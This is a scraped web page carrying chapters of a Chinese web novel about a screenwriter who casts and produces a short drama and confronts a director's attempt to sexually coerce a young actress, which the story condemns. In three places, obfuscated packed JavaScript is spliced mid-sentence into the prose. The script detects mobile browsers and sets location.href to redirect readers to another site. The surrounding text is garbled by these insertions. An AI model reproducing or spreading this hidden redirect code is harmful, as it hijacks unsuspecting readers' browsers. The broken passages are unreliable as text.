她花了半天时间,基于两人的特质,为“周窈”和“陈屿”做了更精细的侧写,并模拟了几段能体现角色复杂性,同时也最能展现演员独特质感的戏份。 温清水在通讯录和微信里翻了一圈。 五年编剧生涯,她攒下的人脉大多集中在制片、导演和平台方,直接对接演员经纪的并不多。她给两个相熟的选角导演发了信息,简单说明了项目,请他们帮忙牵线。 等待回复的间隙,手机响了。 是乔舒然。 “清水姐,”电话那头的声音有点哑,但带着笑。 “我回来了。我爸手术很成功,现在恢复得挺好的。” 温清水松了口气,“那就好。家里还需要帮忙吗?” “不用了,我已经买好回程票了,后天就到。” 乔舒然轻叹,“剧组那边怎么样了?” “我刚签了个新项目,短剧。”温清水解释,“你回来得正好,接下来有的忙了。” 乔舒然是她两年前招的助理,电影学院管理系毕业,聪明又踏实。 她父亲突发重病时,温清水给她预支了半年工资,还放了长假。 那时《明日晴》剧组刚好也没太多事,温清水一个人也能应付。 但接下来不行了。 短剧项目千头万绪,从筹备到拍摄再到后期,她需要有人帮忙处理琐事,协调行程,盯住那些容易遗漏的细节。 更重要的是,她不能再形单影只了。 在这个圈子里,一个人走得再稳,也快不过一群人。 两天后,选角导演回了消息,推来了阮月白经纪人的微信。 温清水加了好友,简单寒暄后,发了项目简介和《春日负暄》的前三集剧本过去。 对方的反应很谨慎:“温编,月白现在接戏比较看重团队和角色空间。您这个项目是晏海投资的,我们相信制作水准。但剧本方面……” 温清水知道对方在担心什么。 短剧,还是原创改编,听起来就像一个流水线产品。 她没多解释,只问:“月白明天下午有空吗?我想和她当面聊聊,不用太久,半小时。” 对方犹豫了一下,还是答应了。 见面约在一家安静的咖啡馆。 阮月白来得准时,素颜,戴了顶鸭舌帽,坐下时先说了句“温编好”。 温清水点了两杯美式,把打印好的剧本片段推到她面前。 “我看过你之前的戏,”温清水开门见山,“《重生归来》里,你扇男主耳光那场戏,眼神里有恨,但也有很细微的痛。我想那不是剧本写的,是你自己加的。” 阮月白愣了一下,抬起眼看她。 “后来那部《千金逆袭》,你也试图给角色加一些背景细节,但导演没采纳,对不对?” 温清水继续说,“因为短剧要快,要直给,没时间铺垫。” 阮月白抿了抿唇,没否认。 “所以我想请你演周窈。”温清水把剧本翻到某一页,指向一段台词。 “这个角色,表面是完美的富家女,但心里很病态。这是个很有挑战性的角色。她引诱陈屿的时候,是直白的算计,却在这场算计里对那个自卑单纯的少年动了心。她推开他的时候,依旧深爱,但她觉得他应该走向更广阔的天地。” 她抬起眼,看着阮月白。 “我想让你演这个角色,让大家记住周窈,也记住阮月白。” 阮月白盯着那段台词,很久没说话。 直到温清水几乎喝完了那杯美式,她抬起头,浅浅笑了。 “好。” 经纪人在旁边欲言又止,但阮月白摆了摆手,“姐,我想接这个。” 温清水点点头,从包里拿出简单的意向合同。 “片酬按市场价,拍摄周期十五天。细节你可以带回去慢慢看。” 阮月白接过去,简单翻看了几页,“什么时候围读剧本?” “下周。”温清水说,“导演和男主定了之后。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165536|196696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 林曦那边联系得不太顺利。 他的经纪人很直接:“林曦现在接戏首要看人设是否吸粉,戏份是否突出。温编您的剧本我们看了,男主前期戏份是不是太憋屈了?现在观众喜欢看男主强,最好第一集就开金手指。” 温清水在电话这头沉默了两秒。 “我理解你们的考虑。但我想请你们再看看第三十二集,陈屿回国后和周窈在拍卖会重逢的那场戏。” 她给了他们充足的时间去看。 “那场戏里,陈屿已经不是当初那个任人拿捏的穷小子了。他坐在全场最中央的位置,举牌拍下周父想拿下的地皮,然后当着她父亲的面,走到她面前。” 电话那头安静了。 “我要的不是从头强到尾的男主,”温清水继续说,“是从卑微里长出来的强大。这种反差带来的张力,比单纯的金手指更戳人,也更让人心疼。” “我会给林曦最好的镜头,让他回到颜值的巅峰期。” 她的语气平淡,却格外笃定。 经纪人小声问了句什么,接着是林曦的声音。 很近,像凑在话筒边,“我想演这个。” 经纪人还想说什么,林曦又说,“姐,我真的想试试这个角色,霸总什么的,我真的演腻了。” 温清水握着手机,没催。 几秒钟后,经纪人说:“温编,那我们约个时间见面详谈吧。” 导演徐铭是通过星光传媒的制作总监推荐的。 三十八岁,拍过两部小成本网剧和若干短片,很标准的感情流导演。 温清水在资料里看过他的作品。 和那些只追求快节奏冲突的短剧导演不同,徐铭的镜头里会有停顿,会有沉默,会让演员的眼神多停留几秒。 虽然整体节奏还是偏慢,不太符合短剧用户的习惯,但那种对感情的注重,正是《春日负暄》需要的。 他们约在一家私房菜馆。 徐铭到得稍晚,穿了件皮夹克,头发梳得整齐,手里拿着个平板。 他坐下时先说了句“抱歉久等”,语气客气,但姿态里带着微妙的骄傲。 “温编久仰,”他递过来一张名片,“之前那部《春夜》我看了,结尾处理得很妙。” “徐导客气。”温清水接过名片,“您的《月下告别》我也看过,最后那场车站告别的长镜头,情绪给得很足。” 徐铭笑了笑,那笑容里有种被认可的满意,“那部戏演员给得好,我就是顺水推舟。” 菜上来了,他们边吃边聊。 温清水把《春日负暄》的核心理念和人物小传讲了一遍。 徐铭听得很认真,偶尔插话问细节,比如周窈的家庭背景如何影响她的行为模式,陈屿的转变应该有几个关键节点。 “节奏上,”温清水说,“我希望保留您擅长的那种情感浸润感,但也要兼顾短剧的钩子。比如第一集,不能只铺垫,必须在三分钟内让观众看到周窈的‘表里不一’。” 徐铭点点头,用筷子在桌上虚画了一条线。 “开场可以用一个对比蒙太奇。周窈在学校演讲的完美画面,切到她回家后面无表情撕掉奖状的镜头。然后陈屿第一次出现,可以放在她最狼狈的时候。不是英雄救美,是撞破她的不堪。” 温清水点头,“剧本里就是这个思路。” “演员定了吗?”徐铭问。 “女主演暂定阮月白,男主演在谈林曦。”温清水补充,“阮月白您应该知道,林曦是网红转型,演技需要调教。” 徐铭喝了口茶,语气随意:“网红啊,有点麻烦。不过没关系,只要肯学,我能带。” 这话说得轻松,但温清水听出了其中的潜台词。 他有信心掌控局面,也有能力把不够专业的演员“捏”成想要的样子。 “团队这里您如何考虑?”她问。 “我自带一个执行导演,一个摄影,一个美术。”徐铭说,“都是跟我合作多年的老伙计,默契没问题。其他岗位,像灯光、录音、场记这些,得咱们一起找。” “好。”温清水举起茶杯,“那合作愉快,徐导。” 徐铭也举杯,和她碰了一下,“合作愉快。细节我们后续再详谈。” 一顿饭吃完,初步的框架算是搭起来了。 走出菜馆时,天已经黑了。 街道两旁亮起路灯,车流像一条发光的河。 温清水站在路边等车,夜风吹在脸上,有点凉。 她拿出手机,看了一眼日历。 从拿到合同到今天,正好七天。 演员有了意向,导演有了着落,场地有了规划。 那些原本只存在于纸上的字句,正在一点点具象化。 8. 顺毛 开机仪式安排在早晨七点。 天刚蒙蒙亮,影视基地的棚区还笼着一层薄雾。 C棚门口支起一张长桌,铺着红布,上面摆好了香炉、水果和一只烤乳猪。 温清水到得早,穿了件简单的白色衬衫,头发扎成低马尾。 乔舒然跟在她身边,手里抱着厚厚一沓红包。 徐铭导演也到了,穿着皮夹克,手里夹着根没点的烟。 看见温清水,他点了点头,算是打过招呼。 他身后跟着他的小团队,执行导演老吴,摄影大刘,美术小雅。 几个人站在一起,低声说着什么,时不时笑两声,有种圈内人自成的氛围。 演员们陆续来了。 阮月白穿了件浅灰色开衫,素颜,眼睛还有些惺忪。 林曦来得稍晚,戴着黑色棒球帽,帽檐压得很低。 接着是男二许哲和女二唐棠,都是温清水从备选库里挑出来的新人,戏不错,价格也合适。许哲高高瘦瘦,有种干净的少年气;唐棠则眉眼灵动,笑起来有颗小虎牙。 场务老张点燃了香,烟雾袅袅升起。 “来,大家都来上炷香,”老张招呼着,“保佑咱们拍摄顺利,收视长红。” 徐铭第一个接过香。 紧接着是温清水。 香握在手里,有点烫,她对着香炉拜了三拜,插进香灰里。 接着演员们,最后是工作人员。 烟雾渐渐浓了,空气里有种檀香混着烤乳猪的气味。 上完香,老张开始发红包。 每人一个,薄薄的,里面装着八十八块钱,讨个吉利。 大家接过,笑着说谢谢,气氛松快了些。 最后是合照。 摄影师架好机器,指挥着站位:“徐导站中间,温编站徐导左边,月白站右边,林曦靠前一点。” 温清水被推到徐铭身边。 徐铭站得笔直,双手背在身后,脸上是标准的微笑。 温清水站在他左侧,阮月白在右边,挽着温清水的手臂,笑得很甜。 林曦蹲在前排,许哲和唐棠站在后排边缘。 “来,看这里——三、二、一!” 快门声响起,定格。 照片里,所有人都笑着。 温清水站在中间偏左的位置,背脊挺直,嘴角弯起一个很浅的弧度。 开机仪式结束,场务开始撤桌子。 烤乳猪被切成小块,装在一次性餐盒里,大家一人领了一盒当早餐。 温清水没吃,她走到棚里,看布景最后的调整。 周窈家的客厅已经搭好了。 冷色调的大理石地板,巨大的落地窗,沙发上铺着象牙白的羊绒毯。 一切都完美,冰冷,没有人情味。 徐铭正在和摄影大刘讨论机位。 他指着分镜稿,语速很快:“这里我要一个缓慢的推镜,从月白的眼睛推到林曦的脸,背景要虚化,焦点要跟着情绪走。” 大刘一边听一边点头,手里的激光笔在空气中划着轨迹。 温清水走过去,安静地听了一会儿。 等他们说完,她才开口,“徐导,第一场戏的走位,我想再确认一下。” 徐铭转过头看她,眉头细微地皱了一下,但很快松开。 “你说。” “周窈从教学楼出来,被同学簇拥那段,”温清水指着棚里临时标记的走位点。 “我想让她走一个S形路线,镜头跟着她移动,但焦点始终在她身上。周围的同学要虚化,声音要嘈杂但模糊,只有她说话时,声音才清晰。” 徐铭想了想,点头,“可以。这样能突出她的中心地位。” 他看向温清水,“不过林曦那边,我有点担心。第一场戏他镜头不多,但那个眼神很重要,要自卑,但又不甘心。我怕他演不出来。” “我跟他聊过,”温清水说,“给他看了几个参考片段。他说有感觉。” “有感觉是一回事,演出来是另一回事。”徐铭语气淡淡的,带着点过来人的笃定,“短剧演员,能哭能笑就算合格了。要他们演层次,难。” 温清水没接话。 她知道徐铭说得对,但她想试试。 开机第一天,出了点小意外。 场务组一个新来的小姑娘,弄丢了一枚重要的道具胸针。 那是周窈母亲留下的遗物,后面剧情的关键。 徐铭知道后,脸色立刻沉了。 “怎么回事?”他声音不高,但压着火,“开机第一天就丢东西,后面还怎么拍?” 小姑娘站在那儿,脸涨得通红,眼泪在眼眶里打转,一句话也说不出。 周围的人都安静了,气氛一下子绷紧。 温清水走过去,先递给徐铭一杯咖啡。 纸杯上印着熟悉的logo,是城南那家很难订的手冲咖啡馆。 徐铭愣了一下,接过,杯身还是温的。 “徐导,消消气,”温清水声音平和,“已经让舒然去最近的珠宝店找类似款了,二十分钟就能回来。” 她转向那小姑娘,语气缓和下来,“下次道具清单对完,立刻收进保险箱。去吧,先把其他道具再清点一遍。” 小姑娘如蒙大赦,连连点头,抹着眼泪跑了。 温清水又转向场务,“把下午第三场和第七场调换一下。我们先拍周窈学校的戏,等胸针到了再补家里的镜头。” “好。”场务立刻去调整日程。 前后不过五分钟,一场小风波就平息了。 徐铭喝着咖啡,看了温清水一眼。 咖啡是他喜欢的深烘豆子,苦味醇厚,回甘很足。 他没想到她会记得。 “温编细心。”他说了一句,算是认可。 “应该的。”温清水说。 两人在监视器前坐下。 屏幕里,场景已经布置好了,贵族学校的走廊,阳光透过拱形窗洒进来,在地上投下斑驳的光影。 “第一场第一镜,准备——”场记打板。 Action。 镜头从走廊尽头开始,缓缓推进。 阮月白被四五个同学簇拥着,从教学楼里走出来。 她穿着校服裙,长发披肩,嘴角带着浅浅的笑。 同学们在她身边叽叽喳喳: “听说你那个妹妹,昨天又在篮球场堵谢学长了?” “她也真是,不知道自己什么身份。” “就是,私生女还这么高调。” 阮月白安静地听着,直到走到楼梯口,才轻轻开口,“好了,别说她了。” 声音很柔,带着一点不耐。 同学们立刻噤声。 镜头跟着她走下楼梯,来到停车场,一辆黑色宾利等在那里。 司机下车,为她拉开车门。 “大小姐,先回家吗?”司机问。 镜头从后视镜里给到阮月白的下巴,皮肤很白,嘴唇是自然的淡粉色。 “嗯。”她应了一声。 车驶入一座庄园式豪宅。 铁门缓缓打开,车道两旁是精心修剪的草坪,车停在主楼前,管家早已候着,恭敬地拉开车门。 镜头终于给了阮月白全身。 她站在车边,穿着贵族学校的制服,腰身纤细,小腿笔直。 阳光从侧面打过来,落在她的眉宇。 那张脸是偏清冷的小白花长相,眉眼干净,鼻梁挺秀,有种不染尘埃的美。 她走进客厅。 镜头从她的视角推进,宽敞的挑高空间,巨大的水晶吊灯,深色丝绒沙发。 沙发上坐着两个人。 一个是她父亲,穿着家居服,手里掐着一根雪茄。 另一个是林曦。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165537|196696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他穿着洗得微微发白的浅蓝衬衫,坐姿端正,背脊挺直。 他听见脚步声,转过头。 视线在空中交汇。 阮月白表情没变,依旧是那副明艳从容的模样。 但林曦的眼神闪了一下,很快移开,落在自己交握的手上。 手指无意识地收紧,指节泛白。 那是自卑,也是紧张。 “周窈,回来了。”父亲开口,“这是陈屿,我资助的学生。以后住家里,你多照顾。” 阮月白看向父亲,乖巧地点头,“好的爸爸,我先上楼放一下书包。” 她转身上楼,目光却落在沙发上。 林曦抬起头。 两人再次对视。 这次更短,不到一秒。 阮月白嘴角弯了一下,很浅的弧度,然后转身上楼。 林曦看着她上楼的背影,直到消失在楼梯转角,才缓缓收回视线。 “卡!” 徐铭盯着监视器,眉头皱起。 “林曦,”他拿起对讲机,“你最后那个眼神,太木了。我要的不是发呆,是内心有东西在翻腾,但表面强压着情绪。再来一遍。” 林曦站在沙发边,深吸了一口气,点点头。 补妆时,他脸色有些白。 经纪人凑过去小声说着什么,他摇头,有点焦躁。 温清水对乔舒然耳语了几句。 乔舒然点头,走到林曦身边,声音不大,刚好让他和经纪人听见。 “温编说,如果一时找不到状态,可以试试你平时拍短视频时的眼神,就是很淡的,疏离的眼神。” 她拿出平板,点开林曦自己账号里的一段视频。 雪中独行,回眸一瞥,眼神落寞又温柔。 林曦看着屏幕里的自己,好像真的共通了感情。 他抬起头,“我明白了,再试一次。” 第二次拍摄,顺利过了。 徐铭看着监视器里林曦那个终于有了层次的眼神,没说什么,只是点了点头。 中午放饭。 盒饭是温清水特意定的营养套餐,两荤两素一汤,用保温箱送来,打开时还冒着热气。 每人还有一份水果和酸奶。 唐棠领到自己的那份,有点惊讶。 她端着饭盒走到温清水身边,小声问:“温编,那个,我明天能不能用自己的首饰?我演月白的闺蜜,想戴条项链,更符合人设。” 温清水正在看下午的分镜稿,闻言抬起头。 “可以,”她说,“早上来剧组做妆造时带上,让化妆师帮你搭配。” 唐棠愣了一下,“剧组化妆?” “嗯,我们请了专门的化妆师,会根据角色调整妆容。” 温清水以为她没接到通知,解释道,“是我疏忽,应该早点告诉大家。” “不不,是我没问清楚。”唐棠连忙说,脸上露出笑容,“谢谢温编。” 她回到自己的小折叠椅上,打开饭盒。 饭菜还是温的,配色也好看。她吃了一口,味道居然不错。 旁边几个群演也在议论: “这剧组伙食真好,我上次那个组,盒饭都是凉的。” “还有水果呢,真难得。” “听说温编自己贴钱升级的餐标。” 唐棠听着,低头吃饭。 阳光从棚顶的缝隙漏下来,在地上画出小小的光斑。 棚里很热闹,有人在说笑,有人在讨论下午的戏,有人趴在道具箱上补觉。 她忽然觉得,这个剧组,好像不太一样。 不远处,温清水和徐铭坐在监视器前,正低声讨论着什么。 徐铭指着分镜稿,语速很快,温清水安静地听,偶尔点头。 她很专注,侧脸沉静却温柔。 像一棵树,安静地扎在那里,却撑起了一片荫凉。 9. 潜规则 温清水独自开车回家,夜风微凉,从半开的车窗细细渗进来,拂过她的脸颊。 到家已近十一点。 玄关的暖灯自动亮起,柠檬香薰的味道在空气中淡淡散开,舒缓着她紧绷了一天的神经。 她脱下外套,走进厨房,开始准备简单的晚餐。 手机忽然震动。 是一条外卖订单送达的消息,附了照片:一杯橙汁被妥帖地放在门外的脚手架上,按照她的备注,骑手没有敲门。 她回复了一句“谢谢”,顺手打赏了十元。 对方很快发来一个感谢的表情包,是只不停鞠躬的小熊。 掀开锅盖的瞬间,热气扑面而来。 锅中的米饭已被油脂浸成诱人的金黄色,底层结出一层酥脆的锅巴,鸡蛋处于半熟的状态,蛋黄将凝未凝,颤巍巍地嵌在中央。 她慢慢吃着,手机里正播放着未完的导演课程。 讲师在细致讲解镜头语言:“推镜头不仅是物理空间的推进,更是人物内心情绪的层层递进。”她按下暂停,在摊开的笔记本上认真记下这句话。 一顿饭吃完,笔记本上又多了几行密密的字迹。 写完,她端起那杯橙汁喝了一口。 冰已经化尽,温度恰到好处,酸甜的滋味在口中漫开。 手机震动了两下,是蔡妍发的消息。 蔡妍:这个新剧组的女演员真的很喜欢耍大牌,好累。 蔡妍:在这个组我真是倒大霉了。 温清梧回了几句安慰的话,才关上手机。 窗外夜色深沉如墨,她却没有睡意,重新点开课程视频,一讲接一讲地听下去。 凌晨一点多,她才终于合上电脑,揉了揉发涩的眼睛。 起身走到窗前,远处的天边已泛起一层极淡的灰白。 晨光正在醒来。 她静静看了一会儿,才上床睡觉。 第六天的拍摄,在一种微妙而紧绷的气氛中开始。 徐铭来得格外早,沉默地坐在监视器后,脸上没什么表情。 上午是阮月白和林曦的阁楼戏,场景搭得极为精细,从窗口斜射进来的光柱里,可以看见细微的尘埃在无声飞舞。 “第三场一镜,准备——”场记打板声清脆。 “Action.” 阮月白推开门,看见林曦坐在地上安静地看书。 阳光恰好落在他清瘦的侧脸,勾勒出一圈柔软的光晕。 他闻声抬头,眼里闪过一丝猝不及防的慌乱,又迅速强装出镇定。 “对不起,我不知道这里不能来。” 阮月白没说话,只是慢慢走进来,从他身旁的书架上随意抽出一本书。 “《月亮与六便士》。”她念出书名,声音平静,“你喜欢毛姆?” “因为他笔下的人,”林曦垂下眼,手指无意识地摩挲着书页,“都有勇气抛弃一切,去追自己的月亮。 ” 阮月白看了他很久,忽然轻轻笑了。 那不是她平日里完美无瑕的程式化笑容,只是被触动后,从眼底漾开的一丝笑意。 “那你呢?”她问,声音很轻,“要月亮,还是要六便士?” 林曦没有立刻回答。 他只是抬起头,望向她,眼神很深,像藏着许多未曾说出口的话。 “卡!” 徐铭点点头,算是过了这场戏。 休息间隙,乔舒然凑到温清水耳边,压低声音好奇地问,“温编,你送过去的那拿破仑蛋糕到底有什么魔力啊?我感觉徐导每次看到,火气就能消下去一半。” 温清水笑了笑,没有解释。 不是甜品有魔力,而是人都有软肋。 徐铭的软肋,或许就是被“看见”。 看见他严苛挑剔背后,那份对作品近乎偏执的追求。 她每次递过去的,不只是一杯合口味的咖啡或一块甜点,更像是一句无声的“我明白你想要什么”。 但这种“懂得”,需要付出代价。 它要求她时刻保持观察,时刻在坚持原则与维持合作之间谨慎地走钢丝。 累吗?当然。 但她暂时没有更好的办法。 下午的拍摄异常顺利。 刚过四点半,当天的戏份竟已全部完成。 徐铭起身,扫视了一圈片场,宣布:“今天大家辛苦了,早点收工休息。” 棚里立刻响起收拾器材的嘈杂声音,动作迅速。 温清水却不着急。 她坐在监视器旁的小椅子上,低头整理着今天的拍摄日志。 乔舒然在旁边收拾着自己的剧本和杂物,“温编,我先在餐厅预订啦。” “你先去,”温清水抬头看了她一眼,“我稍后就到。” “好嘞!”乔舒然爽快地背起背包,“那我先点烤牛小肠和口蘑!” 她哼着歌快步走了。 摄影棚里的灯一盏接一盏熄灭,最后只剩下温清水头顶那一盏还亮着。 她合上笔记本,刚要起身,余光却瞥见摄影棚入口处,静静站着一个人影。 是唐棠。 她还穿着戏里的校服裙,背靠着墙,站在那片未被灯光照亮的昏暗里,一动不动。 温清水耐心地等了几分钟。 唐棠还是站在那里。 温她起身,拿着自己的东西,朝棚口走去。 “怎么还没下班?”她在距离唐棠两步远的地方停下,“落下什么东西了吗?” 唐棠张了张嘴,却没发出任何声音。 温清水看着她,轻声补充了一句,“如果遇到什么自己难解决的事,可以告诉我。” 就在这时,乔舒然清脆的声音从棚外由远及近传来。 “温编!你好了没呀?我打到车了,司机说这边不好停太久——” 她小跑着进来,看到唐棠的瞬间愣了一下,接着笑着打招呼:“唐棠也在啊,正好,我们要去城北那家超火的店吃烤牛肠,一起吗?” 唐棠没有回答,只是将目光移向温清水。 温清水对她笑了笑,转向乔舒然,“你就知道惦记着给自己放假。” “就今天嘛,”乔舒然眨眨眼,挽住温清水的胳膊,“都累了一周了,稿子也顺了,戏也拍得顺,不该庆祝一下?” “好,”温清水拿她没办法似的笑了笑,“那就去吧。” “温编,”唐棠终于再次开口,声音低得像耳语。 温清水回过头,目光平静地落在她脸上。 “导演说,”唐棠的声音更低了,带着细微的颤音,“他今晚想单独教我演戏。” 温清水皱了下眉。 乔舒然凑到她耳边,用气音快速说道:“我之前就听别的组助理闲聊时提起过,徐导在作风方面,好像有些不太好的传闻。” 温清水没有立刻说话。 她向前走了两步,更靠近唐棠,将声音放得轻缓,确保只有她们两人能听清。 “是约在今晚吗?地点还是在剧组影棚?” 唐棠摇了摇头,幅度很小,但很坚决。 “他让我在这里等着,晚上,他会来接我。”她吸了吸鼻子,声音哽咽,“他说如果我听话,以后的短剧项目,都可以让我演女二号。” 她又飞快地补充了一句,眼泪滚落,砸在水泥地面上。 “我……我不知道该怎么办……” 摄影棚里安静得可怕,只剩下远处其他棚收工的零星声响。 “小乔,”温清水,“你先去餐厅,点好菜。” 乔舒然立刻点头,没有任何犹豫,“好,我给你留位置。” 她拍了拍温清水的肩膀,递给她一个“小心”的眼神,然后转身离开,脚步声很快消失在棚外。 等乔舒然的脚步声彻底远去,温清水才重新转向唐棠。 “你现在,”她清晰而缓慢地说,“还站在这里,别动。就像你真的在等他一样。” 她转身,快步走向摄影棚的深处。 那里堆放着一排废弃的旧背景板,她闪身站到厚重的板子后面,从口袋里拿出手机,迅速调至静音模式。 等待开始。 时间变得很慢。 唐棠还站在原处,手指紧绞包带,她偶尔挪动一下脚,有时抬头看棚顶。 时间过去,天色已完全黑透。 引擎声由远及近。 SUV的车灯光束锐利地扫进昏暗的棚口,光芒刺眼。 车子在棚外刹停,驾驶座的门开了,下来的人却是剧组的摄影师大刘。 他朝棚内张望了一下,看到孤零零站在那里的唐棠,抬手招了招,示意她过去。 唐棠没有动。 大刘皱了皱眉,大步流星地走了进来。 他径直走到唐棠面前,伸手就要去拉她的胳膊,语气带着熟稔。 “唐棠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165538|196696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,等久了吧?走,徐导那边等着呢。” 他的手还没碰到唐棠的衣袖,视线里多出了一个人影。 温清水走到唐棠身边,对大刘笑了笑,“刘哥,这是干什么呢,收工了还不让人休息?” 大刘的手僵在半空,脸色变了变。 但他很快堆起笑容,“哟,温编还没走啊?这不,唐棠下午找徐导请教,说想精进一下演技。徐导今晚正好有空,特意让我来接她过去,给讲讲戏。” 他说着,又朝唐棠使了个眼色,语气加重,“是吧,唐棠?” 唐棠低着头,咬住下唇,没有说话,身体却朝温清水身边靠了靠。 温清水点了点头,语气依旧平和,“原来是这样。那正好,我也还没吃晚饭。要不一起?” 大刘脸上的笑容有点挂不住了,“温编,不用麻烦了。徐导已经订好餐厅了,就两个人,安静,好说话。” 他目光在唐棠和温清水之间扫了个来回,“温编,这是徐导和唐棠之间的事,您就别太操心了。” “既然是剧组里的事,”温清水轻笑,“那我作为这个项目的编剧,似乎也有权过问一下。” 她的目光迎上大刘闪烁的眼神。 “你们私下有什么交情、什么活动,我管不着。但是,”她抬了抬拿手机的手,“再有这种‘意味不明’的活动,我认识几个跑娱乐口的记者朋友。他们应该会对这种‘导演深夜单独指导女演员’的业内佳话感兴趣。” 大刘的脸色彻底变了,张了张嘴,一时竟没能说出话来。 就在这时,停在棚外的SUV副驾驶车窗,缓缓降了下来。 徐铭就坐在里面,侧着脸。 他目光越过车窗,直直地落在温清水脸上。 “温编,”他开口,声音透过夜色传来,“进这个圈子也有五年了吧?怎么做事,还跟刚出道那些不懂事的小丫头似的。” 温清水没有移开视线,坦然迎上他的目光。 “徐导的个性独特,我一直很欣赏。但这个项目现在是由我负责。我不希望组里发生任何,建立在‘不情愿’基础上的事情。” “你情我愿的事情,”徐铭慢条斯理地说,“温编何必上纲上线。这个圈子里谁不知道,年轻人想往上走,总得有人愿意‘带一带’,给指条路。” 温清水没有接他这句意有所指的话。 她微微侧过头,看了一眼靠在自己身侧的唐棠。 小姑娘咬着嘴唇,眼泪又涌上来。 她极轻微地摇头,把身体往温清水身后缩了缩。 徐铭脸上的那点虚假笑意,终于彻底消失了。 他盯着温清水,足足看了好几秒,自上而下的扫视。 突然,他嗤笑一声,笑声短促而充满讥讽: “怪不得从长剧‘降级’来拍短剧。原来是不懂规矩。” 温清水脸上的表情冷了一点。 徐铭升上了车窗。 SUV猛地倒车,轮胎摩擦地面发出尖响,急转驶离,尾灯红光消失在拐角。 大刘瞪了唐棠一眼,转身追车去了。 车声迅速远去,最终彻底消失。 偌大的摄影棚区,重新陷入一片沉重的寂静。 唐棠还僵在原地,手指冰凉。 她扯了下温清水的衣角,声音发抖,“温编,我是不是给你惹麻烦了?徐导会不会以后都不让我拍戏了?” 她以为温清水至少会告诫她“以后安生点”。 但温清水没有。 她抬手,很轻地拍了拍唐棠的肩膀。 “要不要一起去吃烤牛肠?”她语气自然,“小乔应该已经点好菜了。” 唐棠怔住了。 她看着温清水温和而坚定的眼睛,忽然鼻子一酸,眼泪大颗滚下来。 温清水没有阻止,只是安静地站着,等她哭。 等她哭声渐歇,才递过纸巾。 “温编,”她哽咽着,“我真的可以一起去吗?” “当然,”温清水声音很稳,“吃饱了才有力气拍戏。” 她拿出手机发消息:“加一副碗筷,唐棠也来。” 她收起手机,对唐棠笑了笑,“走吧。叫的车已经到了。” 她转身朝棚外走去。 唐棠站在原地,看着她的背影,单薄的,却可靠的背影。 她深吸一口气,跟了上去。 脚步声在空旷棚里回响,渐渐重合。 10. 罢工 烤肉店的烟熏火燎里,铁板上的牛小肠正滋滋作响。 温清水用长筷小心地翻动着,橙红的炭火映在她脸上。 “这个好了。”她夹起一块,放进唐棠面前的碟子里。 唐棠还低着头,手指绞着餐巾纸。 乔舒然往嘴里塞了块烤蘑菇,含糊不清地说,“放心吧唐棠,我们清水最讨厌那种潜规则的事。既然你在我们组,就好好演戏,别的不用管。” “可是,”唐棠抬起头,眼眶还红着,“我给剧组惹麻烦了吧?徐导会不会……” “不会。”温清水打断她,声音平静但肯定。 她接过服务员递来的葡萄奶昔,轻轻推到唐棠面前。 奶昔杯壁上凝着细密的水珠,紫色的液体里浮着碎冰和果肉。 唐棠看着那杯奶昔。 “不用想太多。”温清水又夹了块烤好的牛肠给她,“吃吧,凉了就不脆了。” 乔舒然凑近些,压低声音:“我在别的组听八卦的时候,早就听说过徐导的事。只是大家见怪不怪,没人敢说什么。” 唐棠的手指松了松,攥紧的纸巾舒展开来。 “那我明天要不要给徐导道个歉?”她小声问,“毕竟是我的问题。” “你道什么歉?”乔舒然轻笑,“你又没做错什么。错的是他,他才应该道歉。” 温清水安静地听着,又给两人夹了些烤好的蘑菇和泡菜。 店里的喧闹声像温暖的潮水,包裹着他们这一桌小小的安静。 唐棠慢慢拿起筷子,夹起那块牛肠,送进嘴里。 焦脆的外皮在齿间碎裂,内里的油脂化开,混着特制酱料的甜辣。 “好吃吗?”温清水问。 唐棠用力点头,眼泪又要涌上来,但她忍住了。 “那就多吃点。”温清水说。 那顿饭吃了很久。 离开时,唐棠脸上终于有了笑容,虽然很浅,但真实了许多。 到家时已近十点。 温清水刚换好拖鞋,手机就响了。 视频通话请求,是蔡妍。 她接起来,屏幕里出现蔡妍敷着面膜的脸,只露出眼睛和嘴巴。 “清水,你寄的按摩仪我收到了!”蔡妍的声音透过面膜传出来,有点闷,“太舒服了!我脖子最近疼得厉害,刚才用了二十分钟,感觉好多了。” 温清水笑了,“有用就好。” “有用有用。”蔡妍揭下面膜,露出整张脸,“我跟你说,我今天快被气死了。我们组那个女一号,你知道她多离谱吗?” 她开始滔滔不绝地吐槽:女一号要求每场戏必须左脸入镜,因为觉得自己的左脸更上镜;台词记不住就现场改词,改得逻辑不通;还带了自己的“私人化妆师”,非要剧组给报销费用,理由是“剧组化妆师用的粉底液不够高级”。 温清水安静地听着,偶尔“嗯”一声表示在听。 